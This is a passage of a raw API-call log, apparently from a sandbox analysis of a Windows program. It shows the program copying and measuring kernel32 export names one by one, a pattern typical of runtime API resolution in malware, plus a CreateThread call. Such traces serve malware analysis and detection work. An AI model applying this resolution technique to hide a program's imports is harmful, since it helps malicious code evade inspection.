(lpString="COPYFILEW") returned 9 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0035.918] lstrlenA (lpString="COPYLZFILE") returned 10 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0035.918] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0035.918] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0035.918] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0035.918] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0035.919] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0035.919] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0035.919] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0035.919] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0035.919] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0035.919] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0035.919] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0035.919] lstrlenA (lpString="CREATEEVENTA") returned 12 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0035.919] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0035.919] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0035.919] lstrlenA (lpString="CREATEEVENTW") returned 12 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0035.919] lstrlenA (lpString="CREATEFIBER") returned 11 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0035.919] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0035.919] lstrlenA (lpString="CREATEFILEA") returned 11 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0035.919] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0035.919] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0035.919] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0035.920] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0035.920] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0035.920] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0035.920] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0035.920] lstrlenA (lpString="CREATEFILEW") returned 11 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0035.920] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0035.920] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0035.920] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0035.920] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0035.920] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0035.920] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0035.920] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0035.920] lstrlenA (lpString="CREATEJOBSET") returned 12 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0035.920] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0035.920] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0035.920] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0035.920] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0035.920] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0035.921] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0035.921] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0035.921] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0035.921] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0035.921] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0035.921] lstrlenA (lpString="CREATEPIPE") returned 10 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0035.921] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0035.921] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0035.921] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0035.921] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0035.921] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0035.921] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0035.921] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0035.921] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0035.921] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0035.921] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0035.921] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0035.922] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0035.922] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0035.922] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0035.922] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0035.922] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0035.922] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0035.922] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0035.922] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0035.922] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0035.922] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0035.922] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0035.922] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0035.922] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0035.922] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0035.922] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0035.922] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0035.923] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0035.923] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0035.923] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0035.923] lstrlenA (lpString="CREATETHREAD") returned 12 [0035.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x437800, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc [0035.940] lstrlenA (lpString="kernel32.dll") returned 12 [0035.940] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0035.940] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0035.940] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0035.940] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0035.940] lstrlenA (lpString="ADDATOMA") returned 8 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0035.940] lstrlenA (lpString="ADDATOMW") returned 8 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0035.940] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0035.940] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0035.940] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0035.940] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0035.940] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0035.940] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0035.940] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0035.940] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0035.940] lstrcpyA (in: lpString1=0x18f308, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0035.940] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0035.941] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0035.941] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0035.941] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0035.941] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0035.941] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0035.941] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0035.941] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0035.941] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0035.941] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0035.941] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0035.941] lstrlenA (lpString="BACKUPREAD") returned 10 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0035.941] lstrlenA (lpString="BACKUPSEEK") returned 10 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0035.941] lstrlenA (lpString="BACKUPWRITE") returned 11 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0035.941] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0035.941] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0035.941] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0035.941] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0035.941] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0035.941] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0035.941] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0035.942] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0035.942] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0035.942] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0035.942] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0035.942] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0035.942] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0035.942] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0035.942] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0035.942] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0035.942] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0035.942] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0035.942] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0035.942] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0035.942] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0035.942] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0035.942] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0035.942] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0035.942] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0035.942] lstrcpyA (in: lpString1=0x18f308, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0035.943] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0035.943] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0035.943] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0035.943] lstrlenA (lpString="BEEP") returned 4 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0035.943] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0035.943] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0035.943] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0035.943] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0035.943] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0035.943] lstrlenA 